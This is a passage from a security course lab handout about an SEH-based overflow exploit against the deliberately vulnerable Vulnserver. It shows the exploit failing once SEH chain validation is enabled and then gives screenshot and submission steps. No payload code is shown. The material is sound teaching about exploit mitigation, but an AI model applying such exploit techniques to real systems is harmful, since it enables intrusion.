DisableExceptionChainValidation
as shown below.

Repeating the Attack

Start Immunity again. Launch Vulnserver inside it and start it.

Re-send the vs-seh-attack from Kali.

Immunity stops with an "Access violation when writing...". Press Shift+F9.

The exploit now fails. Immunity shows this message: "Debugged program was unable to process exception", as shown below.

Saving a Screen Image

Make sure "Debugged program was unable to process exception", is visible.

Click on the host system's desktop.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 15c", replacing "YOUR NAME" with your real name.

Turning in your Project

Email the images to cnit.127sam@gmail.com with the subject line: Proj 15 from YOUR NAME

Sources

SEH Based Overflow Exploit Tutorial

mona.py -- the manual

JMP (x86 instruction)

MinHook - The Minimalistic x86/x64 API Hooking Library (Good JMP Examples)


Posted 7-3-14 7:20 pm by Sam Bowne
Revised 10-19-15 2:34 PM